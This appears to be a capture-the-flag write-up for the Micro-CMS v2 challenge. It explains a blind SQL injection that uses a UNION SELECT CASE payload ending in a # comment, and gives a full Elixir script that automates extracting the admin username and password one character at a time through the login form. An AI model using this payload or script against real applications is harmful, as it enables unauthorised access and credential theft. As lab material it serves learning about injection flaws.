I was curious about other solutions to Micro-CMS v2 and realised I can speed up extracting the information from the database because we don’t actually need to use SLEEP.

The (obvious) insight is that we can get rid of the trailing ' by ending our injected string with #.

That means we can reuse the logic from the previous flag where we UNION a password we supply and also include that password as the password parameter.

This time though we don’t really care that we get logged in just that logging in yields a different result than getting the invalid password message.

The reason that the # allows this is because we can end our query with something that doesn’t need to be a string literal and instead we can set username to something like

"' UNION SELECT (CASE WHEN <test> THEN 'mychosenpassword' ELSE 'NOTmychosenpassword' END) FROM admins #"

If we also pass in password as mychosenpassword then we will get logged in when evaluates to true. Otherwise we’ll get invalid password.

Full code listing

defmodule MicroCMSv2 do
  @headers [
    {"Content-Type", "application/x-www-form-urlencoded"},
    {"Accept", "text/html"}
  ]
  @charset "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

  def hack(url) do
    admins_row_count = get_number(url, "COUNT(*)")
    IO.puts "admins table has #{admins_row_count} rows"

    username_length = get_number(url, "CHAR_LENGTH(username)")
    IO.puts "username is #{username_length} characters"

    password_length = get_number(url, "CHAR_LENGTH(password)")
    IO.puts "password is #{password_length} characters"

    get_string(url, "username", username_length)
    get_string(url, "password", password_length)
  end

  @doc """
  Get a count (e.g. number of rows, length of a string) from the database
  """
  def get_number(url, query) do
    Enum.reduce_while(1..32, nil, fn i, acc ->
      query =  "' UNION SELECT (CASE WHEN #{query}=#{i} THEN 'mychosenpassword' ELSE 'NOTmychosenpassword' END) FROM admins #"
      if guess_correct?(url, query) do
        {:halt, i}
      else
        {:cont, acc}
      end
    end)
  end

  @doc """
  Extract a string using get_char
  """
  def get_string(url, value, length) do
    IO.puts "Extracting #{value}"
    Enum.each(1..length, fn i ->
      Enum.reduce_while(charset(), nil, fn char, acc ->
        query =  "' UNION SELECT (CASE WHEN SUBSTRING(#{value}, #{i}, 1) = BINARY '#{char}' THEN 'mychosenpassword' ELSE 'NOTmychosenpassword' END) FROM admins #"
        if guess_correct?(url, query) do
          IO.puts "#{value} character #{i}: #{char}"
          {:halt, char}
        else
          {:cont, acc}
        end
      end)
    end)
  end

  def guess_correct?(url, query) do
    username = query
    password = "mychosenpassword"
    resp = HTTPoison.post!(url, URI.encode_query(%{password: password, username: username}), @headers)

    !String.contains?(resp.body, "Invalid password")
  end

  @doc """
  Turn the charset string into a list of characters
  """
  def charset() do
    String.to_charlist(@charset) |> Enum.map(fn c -> List.to_string([c]) end)
  end

end